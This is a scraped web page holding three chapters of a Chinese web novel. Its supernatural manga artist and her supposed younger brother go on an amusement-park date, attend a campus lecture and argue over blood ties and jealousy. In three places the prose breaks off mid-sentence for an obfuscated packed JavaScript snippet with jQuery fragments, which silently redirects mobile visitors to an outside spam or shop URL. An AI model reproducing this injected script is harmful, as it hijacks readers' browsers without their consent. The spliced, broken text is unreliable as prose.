路过的游客纷纷对她投来异样的目光。
她身上有很明显的不适从,格格不入。
拥拥挤挤中,那道黑色的身影在人流中若隐若现,仿佛变得半透,让他的目光差点抓不住。
她察觉到了他的视线,抬头,整张精巧的脸便全然露了出来,皮肤白到透明,阳光下似乎会发光。
黑与白颜色对比得有股刺目的艳丽,漂亮得像是bjd娃娃。
路过一个捧着冰淇淋的小男孩,被妈妈牵着走,眼神一直对她恋恋不舍,冰淇淋快化到手掌了都没发现。
她的目光像是钉在了他身上。
他是这个地方唯一熟悉的东西。
小崔正想着怎么上去,是等她过来还是自己过去,却见她伸出了自己好看的手——
旁若无人。
打了个响指。
两人分明离得很远,可声音却仿佛响在耳际,格外清脆。
啪。
一瞬间,偌大的游乐场就只剩下了他们的两个人,两个活物。
气温更冷了。
熙熙攘攘喧喧闹闹的人群,全部消失了。
他的耳朵甚至还因为没有适应这么迅速转变的死寂,产生了几秒耳鸣。
吓人。
许鲸是演都不演了。
上来就给他变魔术。
他的身体一下子紧绷。
而许鲸绷紧的情绪在场景只有两个人的时候,明显松懈了下来。
她身上的透明感也消失了。
小崔觉得不太妙。
他的第一反应是找个地方逃,可身体刚要转个方向,他的小心思就立马被发觉了。
“跑什么。”
声音很清晰。
这个世界安静得太突兀了。
他冷静了下来,这里都是她的地盘,哪有地方可以逃。
小崔又将身体掰正:“姐姐我好像又发病了脑子坏掉了眼睛也坏掉了——”
他眨巴眨巴眼睛:“姐姐我要去医院看看脑袋。”
小崔从许鲸的表情上解读出了介于无奈和无语之间的情绪。
她上前一步,小崔就往后退一步。
许鲸停住了。
她理解了他的反应——好像她只要靠近他,就会对他做什么一样——
事实上,她确实想做什么都可以,毕竟这是个只有他们两个人的世界。
她原本的计划,也是打算做些什么的……
她最后后退了一步:
“脑子坏了就跟着我……”
“不要乱想别的什么……”
许鲸甚至避开他的方向往入口内走,这个方式可以减少她的入侵感。
小崔见她走前面了,才亦步亦趋跟在后面。
没有被盯着,他的胆子就大了,跟在后面蔫蔫地说:“两个人不好玩。”
“你要几个人?”
这架势好像是,他想要几个人,她就能给他变出几个一样。
小崔脑袋一歪:“我要原来的。”
她只低着头,说:“先进去。”
这个游乐园没有验票员,入口处的大门自动为他们打开,方便得很。
园内的设施和外界一模一样,甚至颜色更鲜亮,漆都像是新刷的一样,倒显得原来那个灰扑扑了。
他们在这里玩项目不用排队。
整个游乐园最高的建筑物是个摩天轮,许鲸在目光在它身上停留得最久,足足有十来秒。小崔顺着她的目光望去,问:“现在去坐吗?”
如果在外面的话,这个项目要排好久。
她说:“等晚上。”
可是,小崔寻思,晚上的话,排队的人不就更多了吗?
一侧建筑的尖顶屋上,有一只半透明的泡泡似的胶质灵体,正提着油漆桶偷偷看他们,它的脸上沾了点墙壁的粉色,像是故意抹上的腮红,只是探出脑袋一小会儿,就被许鲸发现了。
它懵懂地和许鲸对视,胶状的半透明身体像会呼吸一般一张一缩,又呆呆地,害羞似的灵活地蹭回了工作的屋檐下。
那个屋檐还有一角是灰色。
没来得及上完。
小崔还没发觉。
观看的人当然走马观花,哪有创造的人挑剔得仔细。
他只要再仔细点,就会发现,这个世界,除了游乐园,外面几乎所有的建筑都是灰白色,只是距离太远,像是雾里看花。
蒙在鼓里的人一门心思在想先玩哪个项目。
“不喜欢?”她问了。
“不喜欢。”
在他发呆的片刻,她又打了个响指。
啪。
四周再次人来人往。
游乐园的游客太多了,凭空出现或消失两个人,根本不会有人注意。
但是,小崔望向门外——他们这算不算逃票?
可是他有买票啊,至于这么进来吗?
许鲸淡淡地点出了他的心理:“我们出去,重新排?”
——门外队伍如长龙,一眼望不到头。
他果断地说:“不要。”
他指了指前面的巨型粉色蝴蝶结大鲨鱼说:“我们去排海盗船吧。”
成双入对的高颜值暴击除了赏心悦目更是引人注目。
两人在排队的时候总是被频频回首。
甚至还有人拿出相机偷拍。
许鲸只是一味地将帽檐压低,尽量不让人看清脸。
他们被默认成了情侣。
海盗船算是过山车的入门,坐过山车前先坐海盗船适应是很不错的,这个项目适合儿童,当然也适合成年人。
幸好今天天气凉快,适合游玩。
上船,系好安全绳,柱子压上腰腹,坐他们前后的小孩既期待又害怕,叽叽喳喳。
这是许鲸第一次来游乐园。
大船马上就要航行。
“要抓稳了哦姐姐。”
小崔在一旁提醒。
她点了点头。
下一秒,失重感顿生。
她的心脏被重力拉扯,在最高处突然悬空,又在最低处极速下落,她想到了一个情绪,叫落空。
抓不住。
肾上腺素飙升,心脏跳得厉害,在高处滞空半秒,好不容易缓下,却又立马被抓了下去,不给反应时间。
她觉得她要抓不住她的心脏了。
孩童的叫声尖锐,震耳欲聋。
持续跌宕的刺激给她一种失去控制的危机感,可她却生出了放下手,任由失控继续的奇妙想法。
反正他们是安全的。
她下意识回头看小崔,他们正好对视。
“你还好吗?”
他眨着他灰亮的眼睛。
“嗯。
再次下坠。
噗通噗通……
她抓不住她的心脏了……
下船,小孩子嚷着意犹未尽,还要再来一次,小崔自个儿研究去往过山车的路线。
许鲸走到了海盗船旁边的一个售卖处,上面出售着方才拍下的各种洋相。
她一眼就认出了他们俩——在一众洋相中冷静得格外突出。
这张照片刚好抓拍下他们对视的瞬间。
“我要这张。”
“二十一张。”
打印过程中,旁边一起看照片的人时不时赞叹:“这对小情侣好出片啊,表情一点都不崩。”
她确实,心里暗爽。
刚藏好相片,小崔的手就拉上她的袖子:“我知道怎么去了!我们去坐过山车!”
而她看着那只手,呆了呆。
过山车排队的人是最少的,似乎下一波就是他们。
前面那一波人呼啸而过,在半空中转了好几个大圈,哗啦啦地爆了不少装备——许鲸不禁握紧了自己的小物件。
快排到时,小崔突然转身,莫名其妙问:“你现在在吃糖吗?”
虽然她现在看起来嘴巴里没东西,但为了防止到时候噎到,还是得问问。
许鲸不语,只仰了仰下巴,微张了张嘴,小崔看到了一口白牙。
他暗自腹诽:天天吃糖的人牙居然还能这么好……
不过一想到等会儿会听到许鲸的尖叫,他就精神抖擞,方才的海盗船不过是过家家。
然而,这回尖叫的另有其人。
过山车转到第二个大圈时,小崔就忍不住叫破喉咙,他甚至自己都没察觉到自己是有多自然地叫出声的。
人在极度害怕的时候,耳朵里只听得见自己的声音,更别提让他听许鲸的。
许鲸全程只是紧抿着唇,没发出一点声音。
她听见小崔的叫声后,还伸出一只手,握在他的另一只手上,试图安抚。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094012|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等到过山车速度慢下来时,小崔才发现自己一只手在被许鲸握着。许鲸看起来只有头发乱了一点,嘴唇的颜色略微发白。
而他的头发不仅极其凌乱,方才迎风大叫了几分钟,喉咙不仅肿了,眼睛也红了——看起来有点可怜。
“你害怕吗?”
他哑着嗓子期待地问。
可她说:“你怕成这样,我不敢害怕。”
小崔顿时受挫,像只凌乱的流浪小狗。
过山车计划失败。
下车时,腿软了一下下,还是由许鲸扶着才没跌倒,经历三百六十度螺旋转后,他趴在地上忍不住干呕。
眼前出现一颗糖,绿色的,散发着淡淡的青柠味。
是许鲸给的。
他就着她的手含下。
许鲸半蹲在他身前,轻轻地揉着他的毛发——
“好点了?”
“不好。”
“那不玩了?”
“不行!”
他不同意!
小崔再次振奋精神。
于是两人玩遍了游乐园几乎所有的项目,经历过山车后,他们的阈值都上升了不少,后来碰到大摆锤,跳楼机这类玩法,他们像是暗自较劲一样,一个两个都不出声,仿佛是在比谁的胆子更大。
最后一个项目是摩天轮。
刚过六点半,傍晚时分,摩天轮上就亮起了灯,它的脚下排起了成双成对的队伍。
他们学校的操场经常能望见这个摩天轮的身影,像个巨大的,绚丽的棒棒糖。
许鲸喜欢糖,所以喜欢摩天轮。
他得出了这个结论。
他们踏上摩天轮的时候是晚上九点,过完这个项目,就要各回各家。
两个人在狭小地空间内,安静地面对面坐着,都不说话,吊舱渐渐升高,远离了地面。
他不好意思面对许鲸直白的视线,偏过脑袋,看向玻璃窗外逐渐扩大的城市风景。
有人说,摩天轮是游乐园内最无聊的项目。
许鲸同样将目光放在了窗外。
却心不在焉。
“向日葵要枯萎了。”
“那就扔了啊。”
她张了张唇,眸光逐渐变得晦涩。
“不回去吗?”
他察觉到她的语气不太对。
摩天轮即将到最高点,他不敢回话,如果说错什么,他们俩一起掉下去,怎么办?
他沉默了。
窗外,城市的声音逐渐远离,他们之间的声音无言到只有呼吸声。
快到顶部了。
他想。
余光中,许鲸的身体好像倾了过来,他不敢动,目光定定地注视窗外,盯着慢慢离近的天空,数着天上几颗不动的星子。
脸颊上落下一个轻柔的吻,轻得像是一片羽毛,微微地碰了一下——
噗——天上的星子在他的眼眸中忽地炸开,炸出了接连不断的烟花。
盛大,绚丽。
他愣住了,瞳孔怔怔的——
今晚,分明没有烟花秀……
许鲸不看窗外,只是看着他的眼,他的眸子里像是长出了小花一样,噗,一朵一朵地,开了。
很有意思。
摩天轮到达最高点后,开始降落。
小崔回过神,侧了侧身体,吻一触即分。
许鲸没有动,他的嘴角变得离她的唇很近。
她也没有再靠近。
他辨不清她的神色,他们脸上都是窗外烟花彩色的光影。
“喜欢吗?”
她的声音很轻,但他依然能感受到对方温柔的吐息。
可他还是不说话。
他很想说喜欢,但是——不要。
她等了许久,没等到回应,最后远离他,回到自己的位置。
“你在害怕什么?”
烟花随着摩天轮的降落随之消失,天空了无痕迹。
她最后问了一次:“回去。”
“不要。”
他可以说他想要什么,但得到之后,他可没说自己愿意付出什么。
她能接受吗?
他好奇。
平稳落地。
许鲸不问了,她点点头,沉默许久,最后说:
“算了。”
他们一前一后走下摩天轮,他停在原地,他们对视了一会儿,许鲸走了。
她丢下他,朝着大门的方向走了。
可她说出那句算了,小崔反而生出了逆反心——喜欢他,不该这么早放弃吧。
许鲸似乎也觉察到他的想法,顿了顿,仿佛是在故意等他,可是他也没上前。
他就这么目送,看着她在人群中走远,看着她在人海中变得半透明,直到消失,一晃眼,就找不到了。
生活平静了几天后,许鲸将要来他们学校开讲座的消息在校园墙刷满了屏。
12. 漫画大触(11)
他怎么都没想到许鲸会和他学校的名字一起在热搜上挂三天。
她之前四年都没露面,怎么现在就愿意露面了呢?
而且许鲸不喜欢出门,也不喜欢见人,现在怎么就接受他们学校邀请了呢?
太突然了。
是不是之前和他一起去了人多的游乐园,所以适应了?不然怎么解释,她之前这么注重个人隐私,现在突然愿意在大庭广众之下开讲座——
一个现象级爆火的漫画大手,他几乎可以想象许鲸露脸之后带来的流量。
——漫画粉丝的涨幅已经到了上限,但创作者的梦男梦女还有很大的发展空间。
原本,这都是属于他一个人的秘密。
小崔不开心了。
他不希望这个秘密被公开,就不能,一直藏着吗?
一想到许鲸好看的脸好看的手好听的声音都要被别人发现,被别人爱慕,他的心里就抑制不住地嫉妒。
他又想到那句“算了”。
许鲸要是真算了,被别的更可爱的男人或女人勾引走了怎么办?
他都能在这么短的时间内勾引到她,那别人也未尝不可以啊——
小崔越想越生气。
热搜下的留言都是对许鲸露面的各种期待和好奇,有人已经开始买股许鲸的性别,还有人已经做好攻略买好机票,打算连夜飞往他们城市,埋伏在学校附近。
邀请许鲸的其实是他们学校二次元社的社长,她们社原本只打算邀请几个画手过来参加活动,但是这位社长出了名的艺高人胆大,她直接私信了许鲸工作室。
本来是已经做好了对方不回的准备,没想到,对方答应了。
社长反复确认是不是私信错了账号,或者,还有可能,工作室被盗号了呢?
结果居然并没有。
社长大功臣马上将这个好消息上报了老师,老师立马上报了学校。
于是起初只是面向一个小社团的活动,变成了面对全校的讲座。
学校食堂的饭菜估计都要不够吃了,当天不知道得有多少校外人士浑水摸鱼进来。
这几天,许鲸没有给他发消息。
他承认他急了。
他的小脑瓜子里一直单曲循环播放着那句算了。
果然,她还是不够喜欢他,不然怎么说算了就算了。
他再怎么不愿意,许鲸还是会过来。
当天学校水泄不通,校外停满了车子,校内挤满了人。
讲座是上午九点开始,他早上六点来的报告厅,报告厅里的前排座位却已经被占完了。
他上前打算看看是哪些神奇宝贝——那几位仁兄仁妹们不知昨晚几点偷渡过来,身上只披着一件单薄的外套,脑袋上就枕着几本典藏版单行本在椅子上睡觉。
天色太早,还没睡醒。
外套还是痛衣,画满了卡通角色。
幸好,他原本就打算坐角落,不用参与这场前排争夺战。
大厅在早上七点前就坐满了人,这个时间对于住宿生来说,相当于早上的起床铃一响,他们就已经开始洗漱了。
上早八都没见这么积极。
后面来的没座位的同学开始见地缝插针坐了。
报告厅内乌泱泱地塞满了人。
九点到,有人的闹钟响了,有人举起手机,开始直播,台下的人纷纷翘首。
主持人简单讲了几句废话之后,许鲸出现了。
她穿着黑色外套,戴着口罩,全身遮得严严实实,只露出个精致的眉眼。
眉目霜雪般涔冷,看起来很年轻。
他们的目光几乎一瞬间交汇,然后错过。
台下安静了几秒,然后突然爆发出了猛烈的喊叫声。
小崔满耳都是周围女生的什么老公老婆……
许鲸出现的第一面就被人拍下来发到微博上狂转,一时间不知道多少人大白天早起发了颠——
“啊啊啊啊啊,我就说吧我就说吧!许鲸是女的!是女的!”
“我老公我老公我老公我老公我老公……”
“我老婆我老婆我老婆我老婆我老婆……”
“妈妈好帅好美好萌,舔舔斯哈斯哈……”
“哇哦,我家鲸宝的手好性感好可爱哦~”
“这么好看不早点露脸!”
“我也想当小崔!”
小崔不同意了。
什么老公老婆!她们亲过吗牵过手吗就这么叫!
他能看出,许鲸在这种场合下依然做不到适应,她只是安静地坐在椅子上,和主持人玩着一问一答的游戏。
看起来反而很乖。
今天各种社交软件上的热搜肯定是爆了。
画手圈最难以置信的其实还是,这火了四年的漫画系列,创作者看起来竟如此年轻,也就二十左右的样子。
而颜狗们则是善用手机放大功能,一个个化身成了站姐,给许鲸不断出图。
热门微博上有一张许鲸的手部特写,白,瘦,漂亮得像精雕细刻的玉,那只手一半藏在袖子里,竟然多了几分欲说还休的羞涩——
手控狂喜!
小崔默默下载了图片。
连许鲸的超话,都在这一上午建好了。
超话内全是今晚各种视角的截图,颜狗们将许鲸们从头到脚,长到头发丝儿细到眼睫毛都夸了一遍。
半张脸都这么疯狂,要是真让他们知道了许鲸的全部面孔,那还得了。
情敌好多。
台上几个主持人问了些个大方向的问题后,剩下的时间就由剩下的学生举手自由发挥。
她选择的人大半是他那个方向的。
但是小崔始终没举起手。
他们在聊关于大结局的设想,在聊初始设定的灵感,在聊对漫画未来的展望,在聊主角们漫画外的小日常——
当问到一向不露面的她为何会出席的时候,她静默了一会儿,说:“我的助手是你们学校的。”
平地一声惊雷,又一个劲爆消息。
她说这话的时候,她们的目光再次交汇。
助手居然还是他们学校的学生吗?
同学们惊讶住了。
台下来自本部大学美院的学生面面相觑,心想,谁这么牛逼,有这逼这么不出来装装。
众人最后一致看向二次元社社长,学动画的,会画画,还能把许鲸请过来,说不定就是她们两有一腿。
社长见大家的目光都聚过来,连连摆手。
她什么也不知道啊……
许鲸的下一句话就解脱了她的嫌疑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094013|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“他不想干,跑了,我过来找找。”
咦?怎么这么像追妻剧本?
那肯定不是社长了,社长可是骨灰级魇学家,怎么样都不会跑的。
但是有这种好事,怎么会想跑呢?
难道许鲸其实是喜欢压榨员工的怪物上司?
可是对于助手的话题,许鲸不愿再多说了。
尽管如此,还是有人对助手的位置眼馋。
现在又多了一个理由,她长得好看。
问答环节结束后,就是签名环节。
人很多,但学生组织得很有秩序,他们拿着自己的单行本乖乖排好,没几个人插队。
一眼望去,队伍排到了报告厅外,比他那天在游乐园看到的还要长。
排了不知多久,忽然就轮到小崔。
但他手里没拿东西。
许鲸看着他,问:“签哪里?”
对他仿佛只是普通的粉丝。
他站在这里,其实不是想要签名,他只是——想看看。
只是排着排着,他还没来得及走,就轮到了。
他伸出手,说:“糖。”
许鲸敛眸,停下笔,拿出一颗糖——硬糖,玻璃红色的,放在他的掌心,然后视线越过他,看向下一个人。
被当陌生人原来是这种感觉……
小崔身上的气息一下子就郁郁了。
可他却不知道,排在他后面的人看他的目光有多诡异。
他怎么连书都没带?他怎么找许鲸要糖?咦!许鲸怎么还真有糖?
某人伤心离场后,下一个妹子鼓起勇气,朝许鲸撒了个娇,也到了颗糖,事情的发展就变得不可控了,后面的人相继模仿,都找许鲸要糖。
讲座的组织人还想着要不要帮许鲸买几包糖支援一下,谁料他们不认后面买的,就要从许鲸兜里掏的。
结果就是,许鲸兜里的糖没了。
后续甚至有人把许鲸发的糖挂在了海鲜市场,卖出了高价。
哪里都是生意。
出了报告厅后,外面的空气都新鲜起来。
他们学校是真接住了流量。
校内校外摆满了摊子,队伍旁边还有经商奇才出售十块钱一瓶的矿泉水,大卖特卖。
今天不知有多少人旷课,说不定连老师都干脆请假调课了。
很热闹。
他坐在学校小树林里的长椅上,视奸网上关于许鲸的消息。
弹幕上不知道是男是女,一直在发什么老公老婆,还发什么宝宝真萌……
他不开心。
像是自己的东西被别人抢了一样。
旁人直播间里的许鲸,即便是画质模糊到渣,也依旧掩盖不了那优越的眉眼。
喜欢上她当然是件理所当然的事。
可是——
她的眼睛疲惫吗?
她的作息调好了?
如果她移情别恋了,是不是自己还要再勾搭一回?
一直到下午五点,许鲸终于结束活动。
直播间内,许鲸上了一辆黑色的车,车在逐渐开远,可现实中,一道沉默的影子出现在他身前。
她掰开他的手指,拿出他掌心的糖,剖开,含进了自己嘴里。
“好久不见。”
13. 漫画大触(12)
他抬头,许鲸早就摘下了口罩,低着头看他。
口罩戴久了,她的脸上被勒出了红色的痕,她的眼底依然晕着一层淡淡的青黑。
很疲惫。
“你怎么……你到底是怎么一回事?”
“你想问什么?”她歪了歪头,目光却很温柔。
他一下子安心了许多,就好像他知道了,她心里其实还有他,方才被一样对待的陌生人郁郁一下子就消失了。
“为什么会这么奇怪?为什么一下子走了,又一下子到我面前了?还有,为什么要来这里?为什么要出现在别人面前?”
他说话有点语无伦次,语气很急,很气,目光一直紧紧盯着她。
她身上秘密好多,他一直没问。
“你不开心。”她一下子就道明了他的情绪。
“我就是不开心,我讨厌你出现在他们面前,我讨厌你给他们糖,我讨厌你对别人说话——”
他一下子把心里的话都说了出来。
他头一次知道,原来这种赤裸裸的占有欲,会让人变得这么丑陋。
“你喜欢我。”她说。
“不,我不喜欢你。”
他了解自己,他永远不会承认自己喜欢一个人,除非对方非常非常喜欢他,喜欢他到了他也觉得自己非要喜欢她不可。
他对喜欢的逻辑很奇怪,他觉得许鲸还没有做到特别特别喜欢他,她还要再做些什么……他还感受不到……
他好奇怪,他也好奇怪……
他貌似有个坏毛病,当对方表达爱意时,他喜欢不断试探感情。
许鲸,她真的很喜欢他,很喜欢很喜欢吗?
他所要做到的勾引,究竟是要让对方到什么程度的喜欢?
许鲸坐在了他旁边,她的手原本撑在木椅上,过了一会儿,她将靠近他那一侧的手,轻轻地,碰了碰他的指尖,确定没有被拒绝后,她将手覆盖住了他的手,握紧。
他缭乱的思绪一下子被安抚。
“小崔。”
“嗯?”
她从来没这么叫过他。
“下周还继续当我的助手吗?”
她尽量斟酌着字句,她从来就没弄明白过面前这个人的小脑瓜。
她现在的目的,只是想让两个人离得近一些,所以她折返了。
她愿意再给一次机会。
可是他却觉得,他们之间的关系生疏了。
想当一切没发生过继续暧昧吗?他怎么可能这么好心?
“不要。”
又是不要。
她皱眉:“你就这么不想回家吗?”
“我有家——”
他指的是他现在住的酒店。
可是许鲸她理所当然想到了别处,这句话理所当然就刺痛到她了——
她说的家,和他的家不一样。
她的语气变冷了,却还勉强装作轻松:“那我跟你回家?”
回那个二十年都没有回应的家。
眼神甚至还有淡淡的嘲讽。
小崔知道自己是说错了话,可当许鲸联想到那一层之后,他就已经无法挽回。
他只能说:“不行。”
意料之中的回答。
“至少让他们知道我还活着。”
可是小崔根本无法承受他们相认的后果,他不想接近那个不可控的未来,亲女儿,和没有血缘的儿子,他们会怎么样?
如果许鲸知道他从头到尾都知道他们之间的关系,又会怎么样?
她的喜欢到底是能承受得了多少的喜欢。
他声音变得偏激:“你还是要见他们吗?你还要给他们发邮件吗?你发的邮件,有得到回应吗?你喜欢我,你敢和他们说吗?”
“可以,我们可以做姐弟。”她面无表情地说,“有没有可能,我对你的喜欢,只是因为血缘的误会?”
她的话像当头一棒。
所以她的意思是说,如果不是这层关系,她其实根本就没有多喜欢他,所以如果真正的真相被她知道了,她会理所当然地讨厌他吧……
一个没有血缘的人,白占了便宜这么多年。
如果没有这层关系,他确实也没办法接近许鲸。
“只是因为血缘?你会亲我?”可他依然很享受这层刺激,恨不得他们是一母同胎,“你说话啊,姐姐。”
“我们现在回家,之前的一切都可以当成误会。”
她当然也可以,不喜欢他。
只要能待得更近一点,她们当然可以只是血缘关系。
而且,姐姐和弟弟能做的亲密事情,总比他们现在的情况要多。
“不要去见他们——”
“凭什么?”
“你到底凭什么就确定,他们是你的父母?你发了这么多条消息,只有我真的去找了,你确定,他们真的会需要你吗?”
“怎么不需要?之前不回应,是因为没有证据,我们现在就去做亲缘鉴定,证据放他们面前,他们还会不接受我吗?”
亲缘鉴定给了他重重一击,他心虚,立马反驳似地说:“我不会和你一起做鉴定的。”
许鲸气笑了:“你到底在害怕什么?害怕我夺走他们的喜欢吗?你觉得我很稀罕吗?我不喜欢你吗?多一个人喜欢你不好吗?还是说,你觉得我的喜欢远远比不上他们?”
“是姐姐对弟弟的喜欢?”
“很重要吗?”她头一次这么大费口舌,她觉得这个人不可理喻,“我说不止,你是开心还是不开心呢?”
两个人一起沉默。
树林外的落日西下,晚风越来越凉,很冷,却减淡了二人间的剑拔弩张。
“你……是什么时候给他发消息的……”
他终于好好和她说话。
“他?你是说你爸吗?”
“……嗯。”
他觉得她说的话有两个字非常刺耳。
许鲸抱着膝盖坐在椅子上,将口中的糖咬得咔嚓碎,视线落在天边最后的橘黄:“忘了具体的时间,但确实是挺早了。”
回忆童年是件痛苦的事,至少对她来说是这样。
“很小很小的时候,我们的院长有打过电话,打不通。”
“院长?”
“孤儿院的。”
“那你们现在还有联系吗?”
她看了他一眼,说:“她八年前死了。”
小崔避开这个话题,继续说;“可他当年找你的阵仗很大。”
据说十八年前的大街小巷,关于许鲸的寻人启事多得能当厕纸。
还有人专门从墙上摘下来拿来当草稿。
城里来的人到了乡下,将贴满她大头黑白照的纸张不要钱地到处发。
乡下的贫苦人家便专门候着他们,跟在他们身后,一路拣,白的干净的,给家里孩子做笔记,脏的沾了灰的,留在灶台烧柴火。
他们分发得大方,只需跟着短短一路,便能捡到厚厚一沓。
许鲸冷笑:“可能在他眼里,我早就已经是个死人了吧,那些阵仗不过是作秀——他可能觉得,找上他的都是要坑他钱的诈骗犯。”
的确,可以想象,他找人的范围这么大,总有几个相貌相似年龄相似的小孩可以上去冒领。
小崔问出了他最想问的问题:“失踪后,你究竟发生了什么?”
碰到他最想知道的问题,她又不说话了,她的目光放空,气息沉了下来,眼睫动了动,最后默默道:“我忘了。”
是假话。
“你的记忆力很好。”
好到她都能记得两岁时,弟弟在妈妈的肚子里隔着肚皮踢她。
他探究似地看向她——
半晌,她说:“不告诉你。”
她避开他的目光,说:“你知道的,我是个怪物。”
小崔算是她遇到的最特别的一个人,他在直面她的怪异之处时,并没有表现得特别惊讶,其他人,要不就是吓尿了,要不就是腿软得跑都懒得跑了,胆子更小的,直接自己把自己吓死了。
也可能,是她面对他的时候太温柔了。
又或许,是因为他知道她是他的姐姐……
他能知道什么呢?他不该成为她承受过去的发泄品。
现在再次回想到两人刚开始的时候,她早就分不清究竟是对方的蓄意勾引,还是她这个恶心的缺爱的家伙,自甘堕落的沦陷。
“姐姐。”
“嗯。”
“所以——在我第一次见你的路上,那根钢筋,是你砸的?”
她爽快承认:“是啊。”
他懊恼般地皱了皱眉:“还没见面,就这么讨厌我?”
“我嫉恨你。”
她的嫉妒也直白得丑陋。
凭什么,他就能拥有一个完美的家庭,一帆风顺地顺遂长大,而她,明明也是一个子宫里出来的,却要在外面流浪,还不被人承认。
其实许鲸没有说的事很多,比如她曾在很小的时候,远远望见过他们一家三口,其乐融融,父慈子孝,比如,她曾经就站在他爸面前,但是结果,是被嘲笑是个梦想攀高枝的乞丐。
他说,他的女儿早就死了。
可另一边,他却依然在社交媒体上假惺惺哭着寻找她。
她一直都知道他们,她一直在看着他们。
她越期待,便越恨。
她曾以为,他的名字是为了她产生,相逢相逢,难道不是希望她再次回到他们身边吗?
可事实是,那个所谓的父亲更像是个作秀的伪装者。
他从来都不在乎。
许鲸有时候痛恨自己的记忆力,偏偏记住了那个没有缘分的家庭,让她后来生出了这么多怨气。
她当初,确实是快死了——
每每她望向崔相逢的时候,她总是忍不住幻想——那是原本她该过的人生。
又或者,是她该和他一起过的——正常的人生。
小崔望向许鲸的眼睛,她的神色似乎回到他们未见面的模样,乌黑的瞳仁里满是不甘与嫉妒,她身上的气息全变成了负面,装满了怨怼,愤懑。
他试探地说出:“我,是不是抢了你原本的生活……”
他记得,领养证上好像有写,他是在某个孤儿院被领养的。
而许鲸,刚好又进了孤儿院。
命运怎么就这样阴差阳错。
许鲸听到他的话,身上的气息慢慢变得平和,她只道:“我后来想开了,所以只是吓一吓你,不然,你的脖子早就被我扎穿了。”
两个人好像都说开了,又好像没说开。
其实她搞的小动作远远不止他看到的……但他也不需要知道。
“你要回我家吗?”她又问。
她这次给家做了个界定。
不知不觉,天上的星子都出来了。
小崔不禁想到了那晚摩天轮上的烟花。
“那栋公寓楼都是你的吧。”
“是。”
所以她的手上才会有万能房卡,但其实,她想进他的房间,根本就用不上这玩意。
只是刚开始她还愿意装,后来就懒得装了。
小崔默默在心里说了句好富。
“回你家之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094014|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,怎么办?”他又问。
她似乎觉得两人的关系又有了希望,语气愉悦了起来:“和以前一样。”
他侧过脑袋,又与她对视:“继续当可以亲的姐弟吗?”
她被他的话堵住了。
他继续说:“我们之间的关系,我们之间发生的事,真的可以当没发生,看不见?”
如果那次没亲,是不是就可以当作没发生,继续暧昧?
许鲸想起了他们的第一次越界。
他绝对喜欢她。
“我不在意这层关系,你喜欢,我们想做什么就做什么,我不会去——抢夺你的父母。”
能将最后那几个字说出来,她真觉得,自己已经将姿态放得够低了。
但是还不够。
他觉得还不够
“不要。”
两个字说出口,他立马就感觉到后腰抵到了一把尖刀。
但是没办法,许鲸在认为他是她亲弟弟的情况下都能下得去手,他无法保证他们的未来,许鲸能接受到什么程度。
小崔终究是没什么安全感。
他也知道他最近很伤人了。
他终究还是一个谎言,一个定时炸弹。
“你不要逼我。”
“你要杀掉我了?”
腰后的刀是哪里来的,他不知道。
“可是姐姐,我没办法视而不见。”
腰后的力道最后松了,他察觉到那个刀片离开了他的衣料——
她的身体离得更近了,她的唇贴向了他的耳朵,姿态极其暧昧,她说:“你知道吗?”
“这是我给你的最后一次机会,无论如何,我敢保证,你今后一定会来找我,我要你跪着求我。”
“我会欢迎你的,亲爱的。”
血缘关系算什么,既然有人可以不认,她也可以不认,正好,他们还可以不要孩子。
她最讨厌小孩了。
离开时,她在小崔的耳朵上咬了一口,留下了一个恶狠狠的牙印。
后来,崔相逢的生活就一直平静地继续,许鲸又和他断了消息。
崔相逢了解她只能通过微博工作室和漫画。
漫画连载到后期,小崔的名字已经渐渐消失了,因为他画的存稿已经用完,许鲸再次恢复了两周一更。
已经有人发现,没了小崔更新进度就变慢。
读者们哀嚎一片,微博的催更评论下变成了小崔魂兮归来,甚至学校的校园墙,有人半夜追到高潮处发帖,让什么小什么崔赶紧滚回去当助理。
小什么崔:暂时有点困难。
《魇之都》现在的剧情发展,已经让读者们磕起了小道士和魇女的cp,cp一起来,漫画的热度又上涨了一个度。
小崔一直在等,他还记得她上次说的话,要让他跪着求她。
她不像是会食言的人,他很期待她的报复,可是,过了一两月,她就像是要把他彻底丢下一样,不理他了。
有的时候,他会故意路过许鲸的公寓,看看地会不会再次开裂,灯泡会不会再炸开,她会不会突然冒出来,可是……什么都没有。
难道她是想一直冷暴力逼他找她?
自从在他们学校开了讲座之后,许鲸再没有露过面,但是她超话里的颜粉依然活跃,利用着当初不多的直播镜头进行各种二创。
再过不久,他就要放寒假,回家了。
